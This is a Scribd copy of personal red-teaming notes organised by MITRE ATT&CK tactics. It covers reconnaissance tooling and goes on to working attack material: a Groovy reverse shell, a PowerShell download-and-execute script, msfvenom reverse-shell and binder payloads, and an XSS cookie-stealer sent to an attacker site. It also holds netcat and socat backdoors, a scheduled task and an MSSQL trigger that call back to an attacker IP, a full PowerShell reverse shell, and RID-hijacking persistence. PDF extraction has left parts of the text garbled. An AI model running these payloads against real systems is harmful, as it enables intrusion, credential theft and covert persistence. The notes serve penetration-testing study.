0% found this document useful (0 votes)
156 views113 pages

Red Teaming Notes - Hailstorm Security

The document provides extensive notes on offensive security practices, structured according to the MITRE ATT&CK framework. It covers various reconnaissance techniques, including passive and active methods, tools like Nmap and Amass, and payload generation using MsfVenom. The notes emphasize the importance of using a VPN and detail numerous commands and scripts for effective penetration testing and information gathering.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
156 views113 pages

Red Teaming Notes - Hailstorm Security

The document provides extensive notes on offensive security practices, structured according to the MITRE ATT&CK framework. It covers various reconnaissance techniques, including passive and active methods, tools like Nmap and Amass, and payload generation using MsfVenom. The notes emphasize the importance of using a VPN and detail numerous commands and scripts for effective penetration testing and information gathering.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 113

Red Teaming Notes

64 min read

Published at: Dec 13, 2023 (Updated at: Dec 14, 2023)

Notes Offensive-Security Member

Offensive security is just as important as pure defensive action and just as fun! Here I have my long, long list of
notes structured after Mitre Attack.
=

🔥 MITRE ATT&CK 🔥
=

🔍 Reconnaissance (TA0043)
General tips
> - ALWAYS use a VPN to avoid being IP blocked

Start small and broaden the search

Avoid spending a lot of time

A lot of results will be useless information

Look at github pages to see how you can chain tools

Passive Recon

Browsers
Query browser search results

Syntax Function

"search phrase" Find results with exact search phrase

OSINT filetype:pdf Find files of type PDF related to a certain term.

salary site:blog.tryhackme.com Limit search results to a specific site.

pentest -site:example.com Exclude a specific site from results

walkthrough intitle:TryHackMe Find pages with a specific term in the page title

challenge inurl:tryhackme Find pages with a specific term in the page URL
Recommended source which store predefined search terms: GHDB

Public Databases
LinkedIn

Twitter

Facebook

Instagram

Reddit

SEC:s Edgar database

www.xlek.com

namechk.com

www.shodan.io

www.network-tools.com

viewdns.info

www.securityspace.com

whatsmyname.app
Can use platforms which is not in use to impersonate

Job ads
Can give you a good look into a companies infrastructure, or at least some contact information

Wayback Machine can be helpful to retrieve previous versions of a job opening page on your client’s site.

Active Recon
Active + Passive Recon

Note that the majority of active recon tools also have flag support for passive recon (or the other way around)

Netcat: Port scanning

nc -vvv -w1 -z targetip startport-endport

-z: minimal data sent


Zone transfer
Windows:

nslookup
server 10.142.147.1
ls -d target.tgt

Linux:

dig @10.142.147.1 target-domain -t AXFR

Nmap
Network enumeration

Warning

ICMP and SYN scans cannot be tunnelled through socks proxies, so we must disable ping discovery ( -Pn ) and specify
TCP scans ( -sT ) for this to work.

Prepared

Traceroute with Nmap:

sudo nmap -sn --tsaceroute ip_addr -oA insecure-net

Zenmap can take the .xml output and graphically display the traceroute and topology

Initial port scan:

sudo nmap -p- -v

Add -Pn if windows machine

Narrow secondary scan:

sudo nmap -v -A -sC --script vuln -p PORTS

Nmap to searchsploit:

sudo nmap -sV -p PORTS -oX searchsploit.xml && searchsploit --nmap searchsploit.xml

Scripts
--script scriptname : run scripts locate *.nse : list all scripts

Good scripts:

Script name Functionality

dns-brute Attempts to enumerate DNS hostnames by brute force guessing of common subdomains.

http-enum Enumerates directories used by popular web applications and servers.

http-title Shows the title of the default page of a web server.

nfs* Enumerates network file shares.

smb-os- Attempts to determine the operating system, computer name, domain, workgroup, and current time
discovery over the SMB protocol (ports 445 or 139).

Attempts to guess username/password combinations over SMB, storing discovered combinations for
smb-brute
use in other scripts.

smb-enum-
Tries to enumerate shares.
shares

smb-enum-
Tries to enumerate users of the shares.
users

Other script syntax:

-sC - Default scripts


--script all - runs all script (can DoS)
DoS)
--script-updatedb - update the NSE scripts
--script banner - run the named script (banner
banner)) against the target(
target(s)
--script-help "http*" - get help for the named script(
script(s) (use wildcard * alone for all scripts)
scripts)
--script "http*" - run all scripts beginning with http against the target(
target(s)
--script "smb*" - run all scripts beginning with smb against the target(
target(s)
--script category - runs all scripts within a script-category (e.g. vuln)
vuln)

Examples, categories, etc: https://nmap.org/book/nse-usage.html

Other flags

Flag Function

-sU UDP scan


Flag Function

-F top 100 ports

-iL input file

-D decoy source IP (RND for random)

-S spoof IP, need to be on the same network

-g source port (-g 443 to resemble https, or -g 53 for UDP to resemble DNS )

--reason show target response

--packet_trace show packet details

traceroute show topology

Packet fragmentation

-f to set the data in the IP packet to 8 bytes.

-ff to limit the data in the IP packet to 16 bytes at most.

to provide a custom size for data carried within the IP packet. The size should be a multiple
--mtu SIZE
of 8.

Packet fragmentation
end

--data-length set a specific length (multiple of 8)

--badsum send invalid packet

--ip-options "[S/L] IP
Strict and loose routing
IP2"

--proxies comma separated proxy list (HTTP or SOCKS4)

--spoof-mac need to be on the same network

--ttl set specific time to live

Masscan
Masscan example:

wget -qO- https://ip-ranges.amazonaws.com/ip-ranges.json | jq '.prefixes[] | if .region <b> "us-e

sudo masscan -iL us-east-1-range.txt -oL us-east-1-range.masscan -p 443 --rate 1000000

awk '/open/ {print $4}' us-east-1-range.masscan > us-east-1-range.tlsopen

cat us-east-1-range.tlsopen | tls-scan --port=


--port=443 --cert
--cert==ca-bundle.crt -o us-east-1-range-tlsinfo.

cat us-east-1-range-tlsinfo.json | jq ' [.ip, .certificateChain[].subjectCN] | join(",")' -r > us-

grep "\.falsimentis\.com" us-east-1-range-tlsinfo.csv

Amass
Search Open Technical Databases T1596

DNS/Passive DNS T1596.001

WHOIS T1596.002

Digital Certificates T1596.003

Subcommands:

amass intel - Discover targets for enumerations


amass enum - Perform enumerations and network mapping
amass viz - Visualize enumeration results
amass track - Track differences between enumerations
amass db - Manipulate the Amass graph database

Test against: globomantics.com

Examples

Enumerate domain:

amass enum -d globomantics.com -src -ip -dir globomantics.com

# Example output
[DNS] globomantics.com 52.41.231.159
[Wayback] www.globomantics.com 54.186.181.37,35.81.29.197,52.41.231.159

OWASP Amass v3.19.3 https://github.com/OWASP/Amass


--------------------------------------------------------------------------------
2 names discovered - cert: 1, archive: 1
--------------------------------------------------------------------------------
ASN: 16509 - AMAZON-02 - Amazon.com, Inc.
52.40.0.0/14 2 Subdomain Name(s)
54.186.0.0/15 1 Subdomain Name(s)
35.80.0.0/12 1 Subdomain Name(s)

The enumeration has finished


Discoveries are being migrated into the local database

Scans

Enumerate asn

amass intel -asn <asn-nr>

Reverse whois lookup (find domains with similar whois information):

amass intel -whois -d globomantics.com -dir globomantics

Make data graphic

List scans:

amass db -dir globomantics -list

Show scan:

amass db -dir globamantics -enum 1 -show

Graph:

amass viz -dir globomantics -d3

Sn1per
Swiss army knife of reconnaissance

Active Scanning T1595

Gather Victim Host Information T1592

Gather Victim Network Information T1590

Search Open Source Technical Databases T1596

Search Open Source Websites/Domains T1593


Gather Victim Identity Information T1589

VPN

Use a VPN to avoid being ip blocked

Leverage other tools such as: Nmap, harvester, wafwoof, etc.

Run with sniper -t domain.test

For passive: sniper -t domain.test -m stealth -o -re , where -o is OSINT and re is reconnaissance.

Find the reports in /usr/share/sniper/loot/workspace

Install

git clone https://github.com/1N3/Sn1per


cd Sn1per
bash install.sh

theHarvester
Passive (and active) reconnaissance against targeted domains*

Technical information gathering


Determine domain and IP Address Space T1250

Discover target logon/email address format T1255

Obtain domain/IP registration information T1251

Conduct Active Scanning T1254

People Information Gathering


Mine Social Media T1273

VPN

Use a VPN to avoid being ip blocked

theHarvester.py -d domain.test -l 500 -b google,bing,yahoo,duckduckgo

-l : limit to 500 searches

Other flags: -c : brute dns -n : dns lookup -b : platforms, e.g. arguments twitter and LinkedIn (all will go to all platforms)

Recon-ng
OSINT Automation

Technical Information Gathering


Determine domain and IP address space T1250

Enumerate externally facing software apllications technologies, languages, and dependencies T1261

People information Gathering


Identify personnel with an authority / privilege T1271

Workflow:

1. Create a workspace for your project

2. Insert the starting information into the database

3. Search the marketplace for a module and learn about it before installing

4. List the installed modules and load one

5. Run the loaded module

Create a workspace

workspaces create WORKSPACE_NAME

Start the workspace with: recon-ng -w WORKSPACE_NAME

Insert information

Insert domain:

db insert domains

Marketplace

marketplace search KEYWORD


marketplace info MODULE
marketplace install MODULE
marketplace remove MODULE

Installed modules

modules search
modules load MODULE

Keys

keys list
keys add KEY_NAME KEY_VALUE
keys remove KEY_NAME

Recon-web

Will list all information we have gathered on a web interface with easy options to export data etc.

Maltego
Blends mindmapping with recon - start with one piece of information and transform it into more

Technical Information Gathering


Conduct passive scanning T1253

Determine domain and IP address space T1250

People Information Gathering


Identify People of Interest T1269

Not all passive

Some information is active reconnesaince - be aware of the transform

Gobuster
Directory bruteforce:

gobuster dir -u "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE

DNS bruteforce:

gobuster dns -d "URL" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o OUTFILE

Threads

Default threads is 10 ( -t )

Gobuster flag Description

-e Print the full URLs in your console

-u The target URL


Gobuster flag Description

-w Path to your wordlist

-U and -P Username and Password for Basic Auth

-p Proxy to use for requests

-c Specify a cookie for simulating your auth

Cloud Scanning
www.builtwith.com summarises service providers for given site

IP address enumeration:

Google Cloud: wget -qO- https://www.gstatic.com/ipranges/cloud.json | jq


'.prefixes[] | .ipv4Prefix' -r

Amazon AWS: wget -qO- https://ip-ranges.amazonaws.com/ip-ranges.json | jq '.prefixes[] | .ip_prefi

Azure (dowload first): jq < ~/Downloads/ServiceTags_Public_*.json '.values | .[] | .properties.add

# https://www.microsoft.com/en-us/download/details.aspx?id=56519

There's also bucket_finder.rb .

📦 Resource Development (TA0042)


Cheat Sheets
Payload all the things

Simple payloads
PHP-reverse-shell:

wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.ph
Groovy: Java payloads work for groovy as well

String host=
host="10.14.46.99";
"10.14.46.99";
port=
int port =4444
4444;
;
cmd=
String cmd ="cmd.exe"
"cmd.exe";;
p=
Process p =new ProcessBuilder
ProcessBuilder(
(cmd
cmd)
).redirectErrorStream
redirectErrorStream((true
true)
).start
start(();Socket s=
s=new Socket
Socket((host
host,,port
port)
)

https://www.hackingarticles.in/exploiting-jenkins-groovy-script-console-in-multiple-ways/

#!/bin/bash

# meterpreter ip & port


lhost=
lhost=10.14.46.99
10.14.46.99
lport=
lport =4444

echo " * Writing Payload"


cat /usr/share/windows-resources/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo "Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Fo

echo " * Prepping Command"


scriptblock=
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://$lhost
Net.WebClient).DownloadString('http://$lhost:8000/payload')"
:8000/payload')"
echo $scriptblock

echo
echo " * Encoding command"
encode=
encode ="`echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0`"
echo $encode

command=
command="cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc $encode"
$encode"
echo
echo " * Final command"
echo $command

echo
echo " * Groovy command "
echo " def process=\"
process=\"$command
$command\"
\".execute();"
.execute();"
echo " println(\"
println( \"\
\ ${process.text}\"
${process.text}\");
); "

echo
echo " * Starting HTTP Server to serve payload"
python3 -m http.server

MsfVenom
Generate payloads
Windows:

msfvenom -p windows/meterpreter/reverse_tcp -f exe -a x86 --platform windows LHOST=


LHOST=172.16.0.6
172.16.0.6 LPOR

-k & -x: template

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST


LHOST==10.14
10.14.46.99
.46.99

Listener:

msfconsole -qx "use exploit/multi/handler; set PAYLOAD winows/meterpreter/reverse_tcp; set LPORT 4

Windows Scripting Host (WSH)


Built in admin tool which run program at the user level

cscript.exe - command-line scripts wscript.exe - UI scripts

payload.vbs

Set shell = WScript.CreateObject("Wscript.Shell")


shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True

// or

shell.Run "cmd.exe /c copy /Y \\10.10.28.6\myshare\nc64.exe %tmp% & %tmp%\nc64.exe -e cmd.exe <att

Tip

If you change the extention, execute with cscript.exe /e:VBScript payload.txt

An HTML Application (HTA)


Dynamic HTML pages containing JS- and VBscripts - runs via browser

html>
<html >
body>
<body>
script>
<script >
var c c=
= 'cmd.exe'
ActiveXObject(
new ActiveXObject ('WScript.Shell'
'WScript.Shell')
).Run
Run((c);
script>
</script >
body>
</body>
html>
</html>

Executes cmd.exe

Via Metasploit / Msfvenom


Venom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST


LHOST==10.8
10.8.232.37
.232.37 LPORT
LPORT==443 -f hta-psh -o thm.hta

Console:

sudo msfconsole -qx "use exploit/windows/misc/hta_server"

Why use this??

Like title... what is its use?

Visual Basic for Application - Macros (VBA)


Programming for Microsoft applications

Execute program:

Sub AutoOpen(
AutoOpen()
PoC
End Sub

Sub Document_Open(
Document_Open()
Poc
End Sub

Sub PoC(
PoC()
Dim payload As String
payload = "calc.exe"
CreateObject(
CreateObject("Wscript.Shell"
"Wscript.Shell")
).Run payload,
payload,0
End Sub

Binder
Will merge the payload into another executable
Fool user into thinking they execute something else

Doesn't protect against AV

Binding with msfvenom :

msfvenom -x WinSCP.exe -k -p windows/shell_reverse_tcp lhost=ATTACKER_IP lport=7779 -f exe -o WinS

Credential lists
Defaults:

https://cirt.net/passwords

https://default-password.info/

https://datarecovery.com/rd/default-passwords/

Cewl.rb-
Password list from website

Basic use:

cewl -w list.txt -d 5 -m 8 <url


url>>

-w: write to list

-d: depth of crawling

-m: minimum length

Other useful flags

-o (--allowed): Allow offsite

-u: user agent

-a (--meta_file FILE): Include/output metadata

--email_file FILE:

There's also support for authentication and proxy

username_generator
Generate username from known info, e.g. John Smith -> jsmith, smithjohn, etc.

Source: https://github.com/therodri2/username_generator.git
crunch
Generate specific password list

@ - lower

, - upper

% - numeric

^ - special

CUPP - Common User Passwords Profiler


Wordlist based on OSINT, e.g pet names, birthday, company, etc.

Source: https://github.com/Mebus/cupp.git

John rules
See Custom rule

👞 Initial Access (TA0001)


Meterpreter / Metasploit
Meterpreter shell

You can use metasploit to upgrade into a meterpreter shell: sessions -u session_numeber You can also
background tasks to prevent multiple windows with: run -j

Functionality Command Example/Info

Migrate to process migrate -N lsass.exe

Find files search -f *flag* -f : pattern, looks through entire system

Dump local passwords hashdump

Load modules [load/use load kiwi (for mimikatz)


Meterpreter modules

To list all modules you can load, simply type load and then press tab twice. After you've loaded a modules, you will
find all the commands at the bottom of the help command.

FireProx
Manage AWS API Gateways: https://github.com/ustayready/fireprox

python fire.py --command create --region region --url http://attack-this.now

Exploit Public-Facing Applications (Web Applications)

Burp Suite

Burp Suite Tools

Feature Functionality

The most well-known aspect of Burp Suite, the Burp Proxy allows us to intercept and modify
Proxy:
requests/responses when interacting with web applications.

The second most well-known Burp feature -- Repeater -- allows us to capture, modify, then resend the
same request numerous times. This feature can be absolutely invaluable, especially when we need to
Repeater:
craft a payload through trial and error (e.g. in an SQLi -- Structured Query Language Injection) or when
testing the functionality of an endpoint for flaws.
Feature Functionality

Although harshly rate-limited in Burp Community, Intruder allows us to spray an endpoint with requests.
Intruder:
This is often used for bruteforce attacks or to fuzz endpoints.

Though less-used than the previously mentioned features, Decoder still provides a valuable service when
transforming data -- either in terms of decoding captured information, or encoding a payload prior to
Decoder:
sending it to the target. Whilst there are other services available to do the same job, doing this directly
within Burp Suite can be very efficient.

As the name suggests, Comparer allows us to compare two pieces of data at either word or byte level.
Again, this is not something that is unique to Burp Suite, but being able to send (potentially very large)
Comparer:
pieces of data directly into a comparison tool with a single keyboard shortcut can speed things up
considerably.

We usually use Sequencer when assessing the randomness of tokens such as session cookie values or
Sequencer: other supposedly random generated data. If the algorithm is not generating secure random values, then
this could open up some devastating avenues for attack.

Quickly and easily load extensions into the framework, as well as providing a marketplace to download
Extender:
third-party modules (referred to as the "BApp Store").

Proxy HTTPS

1. Turn on Burp Proxy

2. Browse to http://burp/cert - cacert.der will download

3. Go to FireFox settings and search for certificates

4. Click 'View Certificates'

5. Under 'Authorities' click 'Import'

6. Mark 'Trust this CA to identify websites' and press 'OK'


Scope: Filter what is being proxied and logged instead of capturing everything

1. Go into the 'Target' tab and right-click the address you want to scope
2. Or, you can go into 'Settings' and 'Project' -> 'Scope'. This is the same location you will find if you click on 'Scope
Settings' from point 1.
By adding targets to scope - we won't log everything but by default we will still capture everything in the proxy.
To disable this, or filter further, go to:

'Proxy' -> 'Proxy Settings', or

'Settings' -> 'Tools' -> 'Proxy'

Then we can enable this interception rule or create our own:


Repeater: Basic usage

1. Capture a request using 'Proxy'

2. Use CTRL+R or right-click and press 'Send to Repeater'


3. Click on the 'Repeater' tab

4. Try and change a value and click on 'Send'


Intruder: Attack Modes

Name Functionality

Takes a single payload (e.g. worldlist) and fuzzes with it for each position. Thus the number of requests
Sniper
will be requests = numberOfWords * numberOfPositions . Good for single-position attacks.

Battering
Takes a single payload and fuzzes with the same payload for every position. Probably not useful at all.
Ram

Like multiple snipers. It can take multiple payloads and run through them for respective position
Pitchfork
simultaneously.

Cluster Takes multiple payloads - but instead of running them simultaneously, it will try for every single
Bomb combination. E.g. try every password for every user.

Rate limit

Without Burp Professional the tool has a heavy rate-limit - which causes many Burp Community users to use similar
command line tools such as Wfuzz or Ffuf .

Extender: Burp Suite Extensions


Name Area of use Source

Request Helps with time based attacks. E.g. if the response time is https://github.com/portswigger/request-
Timer different from a valid username to an invalid one. timer

Command injection
Experiment with different commands and separators:

-h
PARAM ; echo Injected # Unix
echo Injected| # Perl
PARAM | echo Injected
PARAM || echo Injected
PARAM & echo Injected
PARAM && echo Injected
$(echo Injected) # Unix
'echo Injected' # Unix
>(echo Injected) # Unix

# Also try adding a comment at the end (#)

Tip!

Always question yourself: What do you input - which will process output? How can we manipulate that?

SQL Injection (SQLi)

Easy sqli test

Test the following to see if the database is vulnerable: ' " `` % %% -- /* // ) ;

UNION is used to chain multiple sql-statements together - however it needs the same amount of columns as on the other
side of the statement. E.g.: If there is 5 columns called - then the following injection would work: 1 UNION SELECT
1,2,3,4,5

Look up: @@version, user(), database()

Example SQLi column enumeration:


/about/0 UNION ALL SELECT group_concat(column_name),null,null,null,null FROM
information_schema.columns WHERE table_name="people"
information_schema is a default database with information about the databases

group_concat() helps concatenate the output - which could help if the page only outputs the first entry (in this case to
get all columns instead of the first one)

Sqlmap

Two important notes:

1. Always use a non-error-generating URL with Sqlmap

2. Always put the URL in quotes

Url:

sqlmap -u "https://testurl.com/test.php?sqlmap=1"

-u: url

--dbs: list databases

-D x: enumerate database x

--tables: list tables

-T x: enumerate table x

--columns: list columns

--dump: dump the column values

--sql-shell: interactive shell for SQL queries

XSS
XSS Vulnerability scanners and payloads Automated tools:

ZAP

Arachni

Wapiti

Burp

Acunetix

Easy XSS Tests

<!-- If you see the line, it's vulnerable -->


hr>
<hr >

<!-- Look for which of the following is getting through to see what you can work with in an XSS --
'';!--"<
'';!--" <XSS
XSS>>=&{()}"
<!-- Try and throw an alert -->
<SCRIPT LANGUAGE=Javascript>alert ("Vulnerable to XSS");</SCRIPT>

Steal cookie

http://website.com/search.php?word=`<SCRIPT>documents.location='http://attackersite/cgi-bin/grab.c

Listen on port 80 with cookie catcher

SMB

smbclient

smbclient -U kevin -L server -m SMB3 # Enumerate


smbclient -U kevin //server/C$ -m SMB3 # Access

-L : List files -m : Max protocol level

rpcclient

rpcclient:

rpcclient -U sec504 10.10.0.1


enumdomainuser
enumalsgroups
lsaenumsid
lookupnames
lookupsids
srvinfo

Server Side Request Forgery (SSRF)


SSRF exploits the function of a Server-Side Request to make requests about the server, e.g.: GET /user?
profile=somewebsite/me.jpg -> GET /user?profile=file:///etc/shadow

Interesting files:

OS FILES

Application files
E.g. /var/www/html/auth.config.js

Credentials
/proc/PID/environ (guess process id)
/etc/environment

Tip: Find SSRF Vulnerablility

Look for requests with URL:s in the URL!! E.g. https://falsimentis.com/?f=Twitter&logo=http://somesite/twitter.png

Note: Cannot run commands

BUT we can automate the request process of e.g. normal files on a filesystem

Instance Metadata Service (IMDS)

Describe the running instance for cloud services


Used to learn about the environment

Cloud server metadata: http://169.254.169.254/... (that exact ip)


Only accessible locally

But with SSRF you can make the request!

Can carve out cloud credentials

Can disclose sensitive data such as authentication keys in some cloud providers

Info: Who is vulnerable?

Vulnerable:

AWS IMDSv1 (default)

DigitalOcean Droplets

Alibaba Cloud

... Special headers that mitigate exploitation through SSRF:

Azure

Google Cloud Platform

AWS IMDSv2 (not default)

...

⚔️ Execution (TA0002)
Exploiting AD
Cheat sheet

A very good and impressive mindmap.

Exploiting ACEs
Access Control Entries (ACEs)

ForceChangePassword: We have the ability to set the user's current password without knowing their current password.

AddMembers: We have the ability to add users (including our own account), groups or computers to the target group.
Add-ADGroupMember "group" -Members "your_account"

GenericAll: We have complete control over the object, including the ability to change the user's password, register an
SPN or add an AD object to the target group.

GenericWrite: We can update any non-protected parameters of our target object. This could allow us to, for example,
update the scriptPath parameter, which would cause a script to execute the next time the user logs on.

WriteOwner: We have the ability to update the owner of the target object. We could make ourselves the owner, allowing
us to gain additional permissions over the object.

WriteDACL: We have the ability to write new ACEs to the target object's DACL. We could, for example, write an ACE that
grants our account full control over the target object.

AllExtendedRights: We have the ability to perform any action associated with extended AD rights against the target
object. This includes, for example, the ability to force change a user's password.

Tools:

AD-RSAT

Constrained Delegation
HTTP - Used for web applications to allow pass-through authentication using AD credentials.

CIFS - Common Internet File System is used for file sharing that allows delegation of users to shares.

LDAP - Used to delegate to the LDAP service for actions such as resetting a user's password.

HOST - Allows delegation of account for all activities on the host.

MSSQL - Allows delegation of user accounts to the SQL service for pass-through authentication to databases.

See Mimikatz and Kekeo for exploitation.

Authentication Relay / The Printer Bug


Conditions:

A valid set of AD account credentials.


Network connectivity to the target's SMB service.

The target host must be running the Print Spooler service.


GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc

Get-PrinterPort -ComputerName thmserver2.za.tryhackme.loc

The hosts must not have SMB signing enforced.


nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc

Exploitation:

Tool: SpoolSample & Impacket's ntlmrelayx.py

Setup NTLM relay: python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"THMSERVER1


IP" -debug (relay authentication from us to THMSERVER1)
Note: Need to use the ip or it will default to Kerberos authentication

Ask Server 2 to authenticate to us: SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"

Exploiting certificates
Enumerate:

certutil -Template -v > templates.txt

Abusive combinations: See more: https://posts.specterops.io/certified-pre-owned-d95910965cd2

Client Authentication - The certificate can be used for Client Authentication.

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT - The certificate template allows us to specify the Subject Alternative Name
(SAN).

CTPRIVATEKEY_FLAG_EXPORTABLE_KEY - The certificate will be exportable with the private key.

Certificate Permissions - We have the required permissions to use the certificate template.

Impersonate user: Tool: Rubeus

Rubeus.
Rubeus .exe asktgt /user:Administrator /enctype:aes256 /certificate: /password: /outfile:FILENAME
outfile:FILENAME.
.k

Then use Mimikatz to pass the ticket

🏠 Persistence (TA0003)
General tips
Tips

Due to rotation of full admin creds - have access to accounts which has:

Local admin on multiple machines

Service accounts that have delegation permission (golden/silver tickets)

Accounts used for privileged AD services

Netcat

Backdoor
Target:

nc ip port -e shelltype

Attacker:

nc -lvp port

Linux: /bin/sh, /bin/bash, bin/zsh

Windows: cmd.exe, powershell.exe

Persistence
Windows:

-L: restarts listening after invoked

Loop the backdoor

Linux:

Cronjob

-L

Loop with nohup (ignores logout singal)

echo 'while [ 1 ]; do echo "Started"; nc -lp port -e shelltype; done' > listener.sh;
listener.sh; chmod 555 ./l

Socat

Backdoor with TLS encryption


Attacker:

socat -d -d OPENSSL-LISTEN:4443,cert=thm-reverse.pem,verify=0,fork STDOUT

-d -d provides some debugging data (fatal, error, warning, and notice messages)

OPENSSL-LISTEN:PORT_NUM indicates that the connection will be encrypted using OPENSSL

cert=PEM_FILE provides the PEM file (certificate and private key) to establish the encrypted connection

verify=0 disables checking peer’s certificate

fork creates a sub-process to handle each new connection.

Victim:

socat OPENSSL:10.20.30.1:4443,verify=0 EXEC:/bin/bash

Account Tampering

Backup Operators
Require Administrator access!

To avoid triggering Administrator alerts, we can add user to "Backup Operators":

net localgroup "Backup Operators" thmuser1 /add


net localgroup "Remote Management Users" thmuser1 /add
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccoun

We also add the user to "Remote Management Users" to allow WinRM

Then we can use evil-winrm in Privilege Escalation to get an Administrator shell

Backup Operator, but with special privileges


Require Administrator access AND RDP access (WinRM)!

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccoun

# Export current settings


secedit /export /cfg config.
config.inf

# Edit the file by appending ",user" by the end of "SeBackupPrivilege" and "SeRestorePrivilege"

# Load and append new settings


secedit /import /cfg config.
config.inf /db config.
config.sdb
secedit /configure /db config.sdb /cfg config.inf

# Tick "Full Control"


Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

Then we can use evil-winrm in Privilege Escalation to get an Administrator shell

Hijack RID
Require Administrator access AND RDP access (WinRM)!

# Get the current RID


wmic useraccount get name,
name,sid

# Edit registry as SYSTEM


PsExec64.
PsExec64.exe -i -s regedit

# Go to `HKLM\SAM\SAM\Domains\Account\Users\` -> Edit folder with RID (in hex) -> Edit value F ->

File Tampering

Shortcuts and Executables


Executable

msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER

Shortcut Change the target to `powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

Hijacking File Associations


1. Find progID: HKLM\Software\Classes\

2. Change progID: ...shell\open\command - powershell -windowstyle hidden C:\windows\mgrprocess.ps1 %1

Example payload:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"


C:\Windows\system32\NOTEPAD.EXE $args[0]

Services
Backdoor Service

sc create binPath= "net user Administrator Passwd123" start= auto obj= "LocalSystem"

Executable

You can also point binPath to an executable. In msfvenom it is named exe-service

Modify Service
1. Enumerate services: sc query

2. Query service: sc qc servicename

3. Edit service, e.g.:

sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

Scheduled Task

Invisible task
Require SYSTEM privilege

Create task:

schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.

Remove the SD entry under HKLM\SOFTWARE\Microsoft\Windows


NT\CurrentVersion\Schedule\TaskCache\Tree\taskname

Logon Trigger

Startup
Logon folder:

Per user: C:\Users\\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

All Users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp


Run / RunOnce
HKCU\Software\Microsoft\Windows\CurrentVersion\Run

HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKLM\Software\Microsoft\Windows\CurrentVersion\Run

HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

Winlogon
Registry keys that will load user profile on startup: HKLM\Software\Microsoft\Windows
NT\CurrentVersion\Winlogon\

Append commands or executable with a , on either the Userinit or shell value.

Logon script
Limited to current user only!

Create or append the value UserInitMprLogonScript in HKCU\Environment

Backdoor Login Screen


Replace Utilman or sethc - example under Privilege Escalation.

Existing Services

Web shell
Move a webshell into C:\inetpub\wwwroot\ (might have to grant full permission to the file)

MSSQL
1. Enable xp_cmdshell

sp_configure 'Show Advanced Options',1;


RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
2. Give privilege to impersonate sa user (default database admin)

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

3. Change to targeted database, in this case HRDB

USE HRDB

4. Create a trigger - in this case when there is an insert into the employees table

sql_backdoor]
CREATE TRIGGER [sql_backdoor ]
HRDB.
ON HRDB .dbo
dbo..Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'


master.
EXEC master ..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATT

5. Host a payload like the one below and start a listener

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};

$client.Close()

WMI Events
WMI Events allow programs to subscribe to events and execute code
A More flexible scheduled tasks

Managed Object Format (.mof) uses C++-like language to describe WKI events
Compiled with mofcomp.exe
Metasploit:

use exploit/windows/local/wmi_persistence
...
run

See example: 5.4 Establishing Persistence with Metasploit

Golden Certificate
See Mimikatz or this link on extracting CA certificate

Tool: ForgeCert

